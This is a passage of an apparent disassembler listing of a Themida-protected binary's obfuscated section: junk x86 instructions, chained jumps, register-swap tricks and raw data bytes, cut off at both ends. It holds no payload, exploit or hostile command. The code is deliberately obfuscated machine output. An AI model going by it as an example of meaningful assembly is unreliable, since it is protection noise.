0B4h, 0Ch dd 0F3097F28h, 87B9E95Eh, 0BB53FFFFh, 4, 3E9DA01h db 2Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563B17: ; CODE XREF: Themida_:00556214j xchg ecx, [esp] mov esp, [esp] jmp loc_555939 ; --------------------------------------------------------------------------- loc_563B22: ; CODE XREF: Themida_:0056144Fj add bx, ax jmp loc_55AFEA ; --------------------------------------------------------------------------- loc_563B2A: ; CODE XREF: Themida_:00560ECAj add eax, esi pop esi xchg eax, [esp] pop esp pop eax push 1011h jmp loc_55E346 ; --------------------------------------------------------------------------- dd 0B5510AB7h, 0FE63E9C7h, 0C300FFFFh, 0FFD946E9h, 4C281FFh dd 83000000h, 143304EAh, 0DAC1E924h, 7EB8FFFFh, 8118282Ah dd 684190EAh, 81C22902h, 684190C2h, 75E95802h, 29FFFF4Eh dd 24348BF0h, 0FFF4ADE9h, 81E7D1FFh, 5F6DE2C7h, 5FFB0167h dd 4C381h, 1C330000h, 0AE31E924h, 0CA31FFFFh, 6BF28159h dd 89F2FD03h, 0BF575AD7h, 33057499h, 0FF536AE9h db 0FFh ; --------------------------------------------------------------------------- loc_563BB1: ; CODE XREF: Themida_:00557FC8j sub edi, eax pop eax jmp loc_551987 ; --------------------------------------------------------------------------- db 1, 0E8h, 0E9h dd 0FFFFCD8Fh dword_563BC0 dd 240C8B66h, 68C168h, 241C8900h, 65B168h, 24248900h, 0FF8C9DE9h ; DATA XREF: Themida_:00550764o dd 8EC581FFh, 2984DB07h, 34FF5DE9h, 0D93BE924h, 0B850FFFFh dd 4, 8758C701h, 2D5C243Ch, 16151C6Dh, 4EC81h, 0C890000h dd 0E0895024h, 405h, 93E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563C12: ; CODE XREF: Themida_:00563157j xor ecx, [esp] jmp loc_5564B8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 0E1F68h, 0E6ECE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C2A: ; CODE XREF: Themida_:00564BF6j add ebp, ebx pop ebx sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp and eax, ebp jmp loc_55B4F2 ; --------------------------------------------------------------------------- dd 221668h, 241C8900h, 20DEA3BBh, 5BD829DCh, 5E58C501h dd 2C8BEB29h, 6707E924h, 0CA01FFFFh, 4BF5759h, 1000000h dd 14875FFAh, 24248B24h, 0E95A5452h, 0FFFEF783h, 8158C229h dd 5C892EAh, 9DE9525Fh db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C9F: ; CODE XREF: Themida_:0055706Fj pop edi jmp loc_55650D ; --------------------------------------------------------------------------- db 52h, 0BAh, 2 dd 81327F00h, 62FCFC2h, 3E2C175h, 7E84EA81h, 0D0293C29h dd 2404875Ah, 242C895Ch, 0F52AE951h, 0BB53FFFFh, 4, 875BDD29h dd 88E9242Ch, 81FFFEF2h, 4C4h, 4C58300h, 0FF88BCE9h, 4EC83FFh dd 89242C89h, 0E08950E5h, 405h, 4E88300h, 0FEF834E9h, 0EB8159FFh dd 2B1C1B33h, 652E9h, 240C3300h, 33240C31h, 248B240Ch dd 48B6624h, 4EC8324h, 0E9240C89h, 0FFFF2149h, 4244481h dd 54507977h, 0FF5E66E9h, 66F42CFFh, 2434FF59h, 83240C8Bh dd 0EDE904C4h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563D47: ; CODE XREF: Themida_:00554E64j pop edi shr esi, 6 shl esi, 6 jmp loc_56466F ; --------------------------------------------------------------------------- loc_563D53: ; CODE XREF: Themida_:00560DAEj and eax, esi push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 or eax, eax jnz loc_55F83A sub esp, 4 mov [esp], ebp jmp loc_5592FF ; --------------------------------------------------------------------------- word_563D7A dw 77FFh ; DATA XREF: Themida_:00550860o dd 0CC2DE940h, 0A868FFFEh, 8900002Fh, 20E9240Ch db 0CCh, 0FEh, 0FFh byte_563D8F db 66h ; DATA XREF: Themida_:005506E0o dd 68240C8Bh, 59D7h, 54240489h, 0FF71ADE9h, 240C8BFFh dd 4C481h, 0FFE90000h db 46h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563DAF: ; CODE XREF: Themida_:00553A80j pop edi sub ebp, 1 push esi mov esi, 3FA0CB9h xor ebp, esi pop esi mov esi, ebp pop ebp jmp loc_55A804 ; --------------------------------------------------------------------------- dd 8104C483h, 4C1h, 72B76800h, 14890000h db 24h, 51h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi jmp loc_557052 ; --------------------------------------------------------------------------- db 81h dd 976CD3EEh, 0B929E957h, 48FFFFFh, 0B60F5C24h, 9B1CE9C0h dd 2B2DFFFFh, 0FF706F40h, 34FF2434h, 0C652E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E06: ; CODE XREF: Themida_:005637ADj pop ebx sub [esp+4], ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 mov ecx, [esp] jmp loc_564FA5 ; --------------------------------------------------------------------------- loc_563E22: ; CODE XREF: Themida_:00552325j xor edi, 1227DFD5h mov esi, edi mov edi, [esp] jmp loc_55E705 ; --------------------------------------------------------------------------- dw 815Fh dd 4C4h, 4C48300h, 0FFB840E9h, 4BAFFh, 0D5010000h, 0FF07F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_563E4D: ; CODE XREF: Themida_:00552995j pop ecx xor eax, 35075577h jmp loc_5616DD ; --------------------------------------------------------------------------- dd 6C06BB53h, 31E93123h, 80FFFF72h, 0E32883C3h, 6683EB80h dd 0E924048Bh, 0FFFED2BBh ; --------------------------------------------------------------------------- loc_563E74: ; CODE XREF: Themida_:00551D7Fj mov [esp], esp add dword ptr [esp], 4 mov esi, [esp] add esp, 4 push ecx mov ecx, 188B5906h dec ecx push ebp mov ebp, 7125725Eh jmp loc_5563A4 ; --------------------------------------------------------------------------- db 29h dd 8AE95FFAh, 66FFFF3Ch, 0B3241C89h, 66D82801h, 52241C8Bh dd 0FF4193E9h, 4C581FFh, 68000000h, 21D6h, 0FEF485E9h dd 87EB81FFh, 10C437Ch, 384FE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563ECA: ; CODE XREF: Themida_:00557674j pop ecx add ebx, ebp jmp loc_556F13 ; --------------------------------------------------------------------------- dw 0D601h dd 0FF98D8E9h, 5EF389FFh, 0DAE9DD09h, 59FFFFA3h, 0FFB030E9h dd 8BC830FFh, 0C481240Ch, 4, 90B65251h, 8057CE80h, 0CEFE72CEh dd 0F680EED0h, 0E4B4500Ah, 4EC81h, 14890000h, 0E3885324h dd 0E9D88850h, 0FFFFE86Fh, 77D9F181h, 0C8214488h, 12E4E9h dd 1DED8100h, 1385D24h, 242C8BEFh, 4C481h, 0C7830000h dd 243C8704h, 0DFBF575Ch, 297C6D02h, 0A6E95FFAh db 0FCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_563F4F: ; CODE XREF: Themida_:00550EA9j push eax mov eax, 26B34B4Ah not eax shr eax, 7 neg eax sub eax, 51790F09h push edx mov edx, 12C86F54h sub edx, 5C046999h add eax, edx pop edx sub esi, eax jmp loc_55E265 ; --------------------------------------------------------------------------- db 89h dd 80E9241Ch, 5DFFFEEBh, 6E85C281h, 814A47C7h, 7948AFCAh dd 45E2813Dh, 81780C6Bh, 662769E2h, 0C7DDE951h, 835FFFFFh dd 148904ECh, 2474FF24h, 24148B04h, 4C481h, 48F0000h, 0ADE95C24h dd 8BFFFF52h, 0C4832414h, 7FE98104h, 8129A910h, 4ECh, 240C8900h dd 0FFCD1EE9h, 0ED815AFFh, 5DA93F45h, 43E9E989h db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563FE3: ; CODE XREF: Themida_:0055D2F1j push edi mov edi, 4 mov edx, edi mov edi, [esp] add esp, 4 jmp loc_5587D3 ; --------------------------------------------------------------------------- dw 1C31h dd 241C3324h, 5124248Bh, 6368D588h, 89000039h, 5D54242Ch dd 4738B850h, 14E933F2h, 0BAFFFFA3h, 129D2C70h, 0BCEEA81h dd 0D0299544h, 4D7E2D5Ah, 29E91D8Bh, 58FFFF5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_5522F3 ; --------------------------------------------------------------------------- db 59h, 66h, 50h dd 0E32879B4h, 79E95866h, 0C0FFFF46h, 525106ECh, 0F6801FB6h dd 8CF6809Fh, 0C6FED6F6h, 0E981EE80h, 0FFFEF0ECh ; --------------------------------------------------------------------------- loc_564074: ; CODE XREF: Themida_:005629D8j pop edx jmp loc_557311 ; --------------------------------------------------------------------------- dw 4BDh dd 1000000h, 1C685DEAh, 89000008h, 6855241Ch, 6DA525E3h dd 0FF47B1E9h, 0B703B2FFh, 0B389E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56409E: ; CODE XREF: Themida_:00552103j pop esi jmp loc_55106C ; --------------------------------------------------------------------------- aI4H5r db '┴4$h5r',0 align 4 dd 0BB241C89h, 79C42770h, 795ABF57h, 0D7F7414Ah, 1ABB5350h dd 0E92EA443h, 0FFFFED1Fh, 0E9F7215Fh, 0FFFF3B71h, 0F028C1B6h dd 0C399E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5640DA: ; CODE XREF: Themida_:005561DDj add eax, edx add eax, 2FD0859h pop edx jmp loc_554614 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 0EF57E954h, 0F531FFFFh, 0D7E9575Eh dd 0BEFFFFD5h, 7DF820FAh, 81DEF746h, 0DE665EEEh, 7AE68132h dd 5550880Fh, 0FF605BE9h, 567EBBFFh, 0E3C1035Bh, 0D6E95607h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564127: ; CODE XREF: Themida_:0055D200j sub edi, eax pop eax xor edi, 70C0B724h neg edi push 7598h jmp loc_552DC7 ; --------------------------------------------------------------------------- dd 5B5E5356h, 0EB9F681h, 0C6812D2Ch, 0CCF64C9Ah, 8904EC83h dd 0CCE9241Ch db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564157: ; CODE XREF: Themida_:005626D3j push edx mov edx, 4 add edi, edx jmp loc_556936 ; --------------------------------------------------------------------------- dd 8324048Fh, 58042404h, 2D98BD55h, 0C5814771h, 0B88ED26Ch dd 575DE801h, 132368BFh, 0D506E93Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564186: ; CODE XREF: Themida_:00560877j push eax mov eax, 4BC91FD8h not eax push edx jmp loc_561866 ; --------------------------------------------------------------------------- dd 8904EC83h, 4832424h, 68580424h, 4666h, 0BD242C89h, 3FFE776Ch dd 8898C581h, 8957C001h, 4C781E7h, 83000000h, 3C8704EFh dd 0CECCE924h, 0DF89FFFEh, 0FFF830E9h, 33E954FFh, 33FFFFB7h dd 1CE92404h db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5641DB: ; CODE XREF: Themida_:005636E2j push esi mov esi, edi mov ebx, esi pop esi pop edi add edx, ebx mov ebx, [esp] add esp, 4 push edx jmp loc_55DB21 ; --------------------------------------------------------------------------- loc_5641F0: ; CODE XREF: Themida_:0055E29Cj add ecx, 11C34782h sub ecx, 5B340432h dec ecx push ebx jmp loc_5610E7 ; --------------------------------------------------------------------------- db 5Bh dd 8904EC83h, 0E9542414h, 0FFFFA944h ; --------------------------------------------------------------------------- loc_564210: ; CODE XREF: Themida_:0055175Aj mov [esp], eax push 0F33h jmp loc_56522F ; --------------------------------------------------------------------------- db 81h, 0E5h, 0Bh dd 0E924BD61h, 0FFFFDEFCh ; --------------------------------------------------------------------------- loc_564228: ; CODE XREF: Themida_:005515A9j mov [esp], ebx sub esp, 4 mov [esp], ecx jmp loc_562F6F ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 4 dd 5F15CE81h, 0C6813AC6h, 0CB421377h, 0FFFC8CE9h, 81F701FFh dd 0D44CDAEFh, 0AA685E49h, 0E9000016h, 0FFFFDADDh, 1CE9D129h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564267: ; CODE XREF: Themida_:00554F9Fj dec eax jmp loc_562FF6 ; --------------------------------------------------------------------------- db 87h, 0DEh, 0F7h dd 4AB7E9D3h, 0C89FFFFh, 2474FF24h, 6EE95904h db 8Fh, 2 dup(0FFh) byte_564283 db 66h ; DATA XREF: Themida_:005507F0o dd 52240C8Bh, 0C2815A54h, 4, 3304EA83h, 13E92414h, 81FFFF1Dh dd 4C4h, 0A44BE900h, 0D8F7FFFFh, 913AEE25h, 50AB3515h dd 0C70170F0h, 83DF0158h, 48904ECh, 5A21B824h, 0C7296061h dd 0FF8CFCE9h db 0FFh ; --------------------------------------------------------------------------- loc_5642C9: ; CODE XREF: Themida_:00552F9Aj mov ebx, esp jmp loc_5651FA ; --------------------------------------------------------------------------- dword_5642D0 dd 4EC81ADh, 89000000h, 6856241Ch, 61665ADAh, 5E2434FFh ; DATA XREF: Themida_:005506ECo dd 81E38953h, 4C3h, 0BE565100h, 4, 15EF189h, 1C8759CBh dd 24248B24h, 1582E9h, 2474FF00h, 240C8B04h, 8F04C483h dd 0E95C2404h, 0B2Bh, 0C7FE5966h, 0FF95E8E9h, 0FE95AFFh dd 8BFFFEEDh, 0C4812404h, 4, 2468h, 0E7A9E900h, 0E952FFFEh dd 0FFFFBD50h, 68241C89h, 2A13h, 0B2241489h, 804EB7AAh dd 0D70064EFh, 0FF64C780h, 2EE92434h, 1FFFFE5h, 33BF57D3h dd 0E92B1C1Bh, 0FFFFD7F9h, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 0C31EF81h, 0CF015585h, 0C31C781h, 33595585h, 3C31243Ch dd 243C3324h, 0AB0F665Ch, 0E99C2404h, 0FFFFD360h ; --------------------------------------------------------------------------- loc_5643A0: ; CODE XREF: Themida_:0055DA01j add edx, 0C8A09A37h add esi, edx jmp loc_55CA74 ; --------------------------------------------------------------------------- db 51h, 0B9h, 25h dd 81070971h, 7FA9EDC1h, 5C28147h, 2958D740h, 5EA81CAh dd 0E958D740h, 0FFFFB956h, 0E924048Bh, 0FFFF56BCh ; --------------------------------------------------------------------------- loc_5643D4: ; CODE XREF: Themida_:005659C8j push esp pop ebx push ecx mov ecx, 4 add ebx, ecx mov ecx, [esp] add esp, 4 push edi mov edi, 4 add ebx, 4BD50BE1h add ebx, edi sub ebx, 4BD50BE1h push dword ptr [esp] mov edi, [esp] jmp loc_560263 ; --------------------------------------------------------------------------- loc_564406: ; CODE XREF: Themida_:005584DFj pop ecx mov dl, al pop eax pop ebx pop ax sub bl, 66h sub bl, 62h add bl, dl add bl, 62h push ax mov ah, 77h and ah, 91h jmp loc_55811F ; --------------------------------------------------------------------------- dd 8324348Bh, 0B85004C4h, 2, 0FF76C5E9h, 243487FFh, 0FF3905E9h dd 242C89FFh, 3E2FD468h, 242C8B5Ah, 0E904C483h, 0FFFF57CAh dd 73B9EB81h, 0C581510Fh, 55571356h, 0FFA7F2E9h, 4BE56FFh dd 1000000h, 2E685EF0h, 8900003Fh, 74FF2404h, 48B0424h dd 0E2895224h, 4C281h, 0B8500000h, 4, 5258C201h, 42474FFh dd 24048F5Ah, 0FF2DAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_564499: ; CODE XREF: Themida_:00550C78j add ebx, eax add ebx, 36665965h mov eax, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_552F99 ; --------------------------------------------------------------------------- word_5644B2 dw 8B66h ; DATA XREF: Themida_:00550760o dd 6DE92404h, 89FFFF69h, 4C781E7h, 81000000h, 4C7h, 373E900h dd 48F0000h, 24248B24h, 4F1968h, 242C8900h, 0FF4D2CE9h dd 48D0F7FFh, 0C43CF405h, 33F50513h, 0EDE924ABh, 33FFFED9h dd 248B2434h, 3CD36624h, 0ACE99C24h db 0C4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564503: ; CODE XREF: Themida_:005561C3j sub ecx, 9B06C2Ch add ecx, esi add ecx, 9B06C2Ch add ecx, 25777AF2h pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_55AB31 ; --------------------------------------------------------------------------- dw 0C281h dd 8062325h, 148BD089h, 0EB57E924h, 0DDF7FFFFh, 269DBA52h dd 0D531304Ch, 0A6BA525Ah, 1640B70h, 0C26DE9D5h, 0EC83FFFFh dd 242C8904h, 216C8BBDh, 49C58166h, 0E97C513Fh, 179Ah dd 0E9C5895Ah, 0FFFEFD18h, 42474FFh, 0E924348Bh, 0FFFF4AB5h dd 0C431E95Ch, 525FFFFEh, 0FF6FA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_564585: ; CODE XREF: Themida_:005586CFj mov eax, ecx jmp loc_556D3C ; --------------------------------------------------------------------------- dd 3FE9515Eh, 1FFFEE7h, 24048BC6h, 4C481h, 68550000h, 0B2Bh dd 68243C89h, 2, 0FFB0EBE9h, 0BE959FFh db 0FAh, 0FEh, 0FFh byte_5645B7 db 0ADh ; DATA XREF: Themida_:005507B4o dd 0D109ED2Dh, 68D80110h, 4E34h, 0BF243C89h, 422B637Eh dd 11E4C781h, 0EFC1C4EBh, 0EC835606h, 243C8904h, 534DE1BFh dd 0B4E95355h, 81FFFECAh, 59DA98EBh, 5BDA29D9h, 0FFF022E9h db 0FFh ; --------------------------------------------------------------------------- loc_5645F5: ; CODE XREF: Themida_:00559989j push eax mov eax, 0AB32308h jmp loc_562D00 ; --------------------------------------------------------------------------- loc_564600: ; CODE XREF: Themida_:00565328j not edi sub edi, 14AA0D44h dec edi inc edi add edi, 0D2959748h add edx, 7CE6BB6h add edx, edi sub edx, 7CE6BB6h mov edi, [esp] jmp loc_554F4E ; --------------------------------------------------------------------------- dw 5768h dd 89000013h, 81E92424h db 63h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564633: ; CODE XREF: Themida_:00565288j mov ebx, [esp] sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_55D6D0 ; --------------------------------------------------------------------------- dw 0CFFEh dd 0EF80CFFEh, 8BFA284Ah, 0C481241Ch, 4, 0D5885150h, 0FF94DEE9h db 0FFh ; --------------------------------------------------------------------------- loc_564661: ; CODE XREF: Themida_:0055C9CEj mov ebx, [esp] add esp, 4 mov eax, [esp] jmp loc_557009 ; --------------------------------------------------------------------------- loc_56466F: ; CODE XREF: Themida_:00563D4Ej shr esi, 4 and esi, 38BF67E0h sub esi, 1F2C15E3h jmp loc_55AC32 ; --------------------------------------------------------------------------- loc_564683: ; CODE XREF: Themida_:00551792j pop eax jmp loc_55B8A9 ; --------------------------------------------------------------------------- db 54h, 5Eh, 0E9h dd 0FFFEDFD5h ; --------------------------------------------------------------------------- loc_564690: ; CODE XREF: Themida_:00552701j push 6202h jmp loc_565189 ; --------------------------------------------------------------------------- dw 0E95Bh dd 0FFFF0C69h ; --------------------------------------------------------------------------- loc_5646A0: ; CODE XREF: Themida_:00560708j pop esi sub ecx, 3900202h jmp loc_557DC3 ; --------------------------------------------------------------------------- dd 53241489h, 318DBD55h, 3EE90712h, 52FFFF7Ah, 0D92BBDBAh dd 53D2E93Dh, 558FFFFh, 4, 0E904E883h, 0FFFF7F6Ah, 592434FFh dd 0FF8524E9h, 81EB29FFh, 226627EBh, 0E3B5E920h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5646EA: ; CODE XREF: Themida_:0056296Cj shr ebp, 3 shr ebp, 8 jmp loc_5606CB ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 3B6568h, 241C8900h, 0B824B7BBh, 4E3C15Fh, 251BEB81h dd 24E95755h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564713: ; CODE XREF: Themida_:005604B6j push ecx add dword ptr [esp], 22B216E7h pop ebx sub ebx, 22B216E7h pop ecx xor [esp+4], ebx push dword ptr [esp] pop ebx jmp loc_55D6B5 ; --------------------------------------------------------------------------- dd 30CF381h, 0DBF74B70h, 3A36C381h, 0C3811770h, 42FCC737h dd 0FEF860E9h, 4B8FFh, 0C1890000h, 8BCD0158h, 8950240Ch dd 405E0h, 4050000h, 33000000h, 4312404h, 24043324h, 0FEFB88E9h dd 240C8BFFh, 0FFB288E9h, 73F381FFh, 13F5D7Bh, 8B04245Ch dd 0E955241Ch, 0FFFF465Eh ; --------------------------------------------------------------------------- loc_56478C: ; CODE XREF: Themida_:00562F85j sub ebx, 559453A8h jmp loc_55C748 ; --------------------------------------------------------------------------- db 33h dd 2C31242Ch, 242C3324h, 9CC1385Ch, 0FEC206E9h db 0FFh ; --------------------------------------------------------------------------- loc_5647A9: ; CODE XREF: Themida_:00558567j sub edi, 0E5B4576h pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_55EA82 ; --------------------------------------------------------------------------- loc_5647C1: ; CODE XREF: Themida_:0055A947j push edx mov edx, 4 mov ecx, edx jmp loc_557E5F ; --------------------------------------------------------------------------- dw 2C89h dd 4ACABD24h, 0EA091840h, 0B2C2815Dh, 8118BA51h, 4A261BF2h dd 9CB8504Fh, 2937E163h, 3676E9C2h, 248BFFFFh, 48B6624h dd 0E7895724h, 0FF99B2E9h, 6B13BFFFh, 0C7E951EFh, 5AFFFED9h dd 0FFFD82E9h, 5AD601FFh, 2434335Fh, 33243431h, 248B2434h dd 28AC2C24h, 0ECB252D8h, 0C067CA80h, 0C2FE02E2h, 0FF7509E9h dd 0E18158FFh, 6F8A4F14h, 0FF6CFBE9h, 74FF57FFh, 8F5F0424h dd 815C2404h, 4D2C7CEAh, 0AD685762h, 8900006Eh, 8DBB241Ch dd 684BD647h, 6ED5h, 0B8240489h, 65225162h, 1F2F3A35h dd 5D8F77Dh, 6A29270Dh, 5507E8C1h, 61431FBDh, 0E9D5F705h dd 0FFFFC7DEh, 81E78957h, 4C7h, 0CE4DE900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564896: ; CODE XREF: Themida_:005578E5j xchg ebx, [esp] mov esp, [esp] mov [esp], edx push 5DC975ECh jmp loc_55D0E9 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 0FF7A76E9h db 0FFh ; --------------------------------------------------------------------------- loc_5648B1: ; CODE XREF: Themida_:00557ABFj and ecx, esi jmp loc_55B6BF ; --------------------------------------------------------------------------- dd 2268BD55h, 0E9550DDAh, 0FFFF976Ah, 81DEF746h, 33C710C6h dd 5EF53154h, 0E95DEB89h, 0FFFF600Ch ; --------------------------------------------------------------------------- loc_5648D8: ; CODE XREF: Themida_:0055E893j mov [esp], bx mov bh, 0B9h sub dl, bh pop bx jmp loc_55F3A4 ; --------------------------------------------------------------------------- db 0B1h dd 66C808A4h, 83240C8Bh, 0C0FE02C4h, 0D4E95366h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5648FB: ; CODE XREF: Themida_:005599D1j push edx jmp loc_553488 ; --------------------------------------------------------------------------- loc_564901: ; CODE XREF: Themida_:00563612j pop esp mov [esp], ecx push esi mov esi, esp push eax jmp loc_55A079 ; --------------------------------------------------------------------------- dw 0EE01h dd 0C0C2815Dh, 297A6A51h, 0C0B850F2h, 297A6A51h, 80DCE9C2h dd 0E997FFFFh, 0FFFFEBBCh, 1EE95854h db 0DEh, 0FEh, 0FFh byte_564933 db 0FFh ; DATA XREF: Themida_:00550914o dd 34FF2434h, 24048B24h, 4C481h, 54510000h, 0FFE328E9h db 0FFh ; --------------------------------------------------------------------------- loc_564949: ; CODE XREF: Themida_:0055C373j pop esp push ebx jmp loc_55FC12 ; --------------------------------------------------------------------------- loc_564950: ; CODE XREF: Themida_:00565480j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp push esi jmp loc_557D0E ; --------------------------------------------------------------------------- dd 68h, 242C2900h, 69E9455Dh db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56496F: ; CODE XREF: Themida_:00558FA6j add ebp, 4928309Dh pop edi sub ebp, 16B67A0Bh sub ebp, 0DBEF43F9h and eax, ebp pop ebp shr eax, 8 xor eax, ecx push 1D1Ah mov [esp], eax jmp loc_56314C ; --------------------------------------------------------------------------- loc_564997: ; CODE XREF: Themida_:0055FD37j pop ebx sub dh, 47h jmp loc_559734 ; --------------------------------------------------------------------------- aIH db '┴<$h',0 aY db 'Y',0 align 4 dd 0FF9819E9h, 69E95CFFh db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5649B3: ; CODE XREF: Themida_:0056347Ej mov eax, 1Ch push eax pop edx pop eax push 6EC8h mov [esp], ebx push 3D51h mov [esp], edi jmp loc_55A94C ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFB5AFh, 34FFFD89h, 0C4835F24h, 5DEB2904h dd 253DEF81h, 0DF01658Ch, 253DC781h, 34FF658Ch, 0C4835B24h dd 243C3304h, 0FF4712E9h db 0FFh ; --------------------------------------------------------------------------- loc_564A01: ; CODE XREF: Themida_:005572F9j add ecx, eax sub esp, 4 mov [esp], eax mov eax, 3CD26B2Dh xor eax, 21436F23h add ecx, eax pop eax mov eax, [esp] add esp, 4 jmp loc_5533F0 ; --------------------------------------------------------------------------- loc_564A27: ; CODE XREF: Themida_:0055E8F5j push esp pop esi jmp loc_55D59C ; --------------------------------------------------------------------------- dw 0FFBEh dd 81FFFFFFh, 183EA5EAh, 81F20138h, 183EA5C2h, 0C2835E38h dd 1FC281FFh, 0E926FE02h, 0FFFECAD9h, 0FEBF5AE9h, 4BBD55FFh dd 31636420h, 0AAD3E9EBh, 0E2C1FFFFh, 5E2C102h, 0FEFE6DE9h dd 241C8BFFh, 4C481h, 0BE040000h, 1BE9E800h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A7F: ; CODE XREF: Themida_:0056235Ej pop esp push eax sub esp, 4 mov [esp], ecx mov ch, 4Fh push bx jmp loc_559C73 ; --------------------------------------------------------------------------- dd 0A9EA8166h, 0EA016672h, 0A9C28166h, 0C2816672h, 0E95D0285h dd 0FFFF27F5h ; --------------------------------------------------------------------------- loc_564AA8: ; CODE XREF: Themida_:005610AEj xor ebx, esi pop esi or ebx, 30B8062Bh push edi mov edi, 670B6F9Bh add edi, 537B1A1h or ebx, edi pop edi shl ebx, 2 push ebp mov ebp, 838583DDh add ebx, 54A012A6h add ebx, ebp jmp loc_556863 ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFF6E8Ah ; --------------------------------------------------------------------------- loc_564ADC: ; CODE XREF: Themida_:005513A5j pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edi, 4 add edi, 4 jmp loc_560499 ; --------------------------------------------------------------------------- db 81h dd 50A51C5h, 0E9215811h, 685Dh, 30E90000h, 8BFFFFB6h, 3BE9243Ch db 1Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564B17: ; CODE XREF: Themida_:00551A0Ej push eax mov eax, 7CEB70E3h shl eax, 2 inc eax add eax, 0C523C73h mov ebx, eax pop eax jmp loc_55F58F ; --------------------------------------------------------------------------- dw 15Ah dd 2434FFD5h, 4C4835Ah, 4C581h, 0C7680000h, 89000004h dd 74FF242Ch, 2C8B0424h, 4C48324h, 8B24048Fh, 34FF2424h dd 2434FF24h, 8124048Bh, 4C4h, 4C48300h, 0FF8329E9h db 0FFh ; --------------------------------------------------------------------------- loc_564B6D: ; CODE XREF: Themida_:0055A53Bj add esp, 4 sub edx, 5E1E10FEh add edx, 75FD0C74h sub edx, 95832566h jmp loc_552EB3 ; --------------------------------------------------------------------------- dw 487h dd 85665C24h, 0C1E99CC8h, 81FFFFC4h, 4C3h, 3726800h, 0F8E90000h dd 0BDFFFF8Bh, 1A96366h, 834C581h, 0BA685184h, 89000010h dd 0BA522404h, 4A284C96h, 980DABB8h, 5AD03108h, 8158C529h dd 0CA4253EAh, 21C28109h, 294C0638h, 21EA81EAh, 814C0638h dd 0CA4253C2h, 0DFA1E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BEA: ; CODE XREF: Themida_:0055EF71j mov edx, [esp] push ebp mov ebp, esp push ebx mov ebx, 4 jmp loc_563C2A ; --------------------------------------------------------------------------- db 29h dd 2434FFF0h, 5124348Bh, 0F6C8E954h, 0EE81FFFEh, 0DC45371h dd 0FF8B20E9h, 240C87FFh, 54E95D5Ch db 1Bh, 2 dup(0FFh) byte_564C1F db 0ACh ; DATA XREF: Themida_:00550810o dd 0F468D830h, 89000039h, 5250240Ch, 0BDE950B6h db 0C6h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_564C33: ; CODE XREF: Themida_:0055837Aj mov [esp], ebx mov ebx, 7DBB08C8h sub ebx, 7DBB08C4h jmp loc_552F41 ; --------------------------------------------------------------------------- dw 3C31h dd 243C3324h, 0E924248Bh, 0FFFF07A2h, 2ED8359h, 8B242C87h dd 89662424h, 50512414h, 5E2C9EB0h, 5058C588h, 5266B8B4h dd 0C6E9E8B2h, 81FFFFB1h, 4C4h, 205FE900h, 1E2DFFFFh, 50C494Eh dd 0CEF3218h, 182DF029h, 50CEF32h, 0C494E1Eh, 8132E05h dd 0FD2EE908h, 405FFFFh, 0E9000000h, 0FFFF0C9Eh ; --------------------------------------------------------------------------- loc_564CAC: ; CODE XREF: Themida_:005559F8j push eax jmp loc_551D34 ; --------------------------------------------------------------------------- word_564CB2 dw 77FFh ; DATA XREF: Themida_:005508ACo dd 19589D1Ch, 0E99C2404h, 0FFFEBCEFh dword_564CC0 dd 240C8B66h, 0FFBD38E9h, 0CD8955FFh, 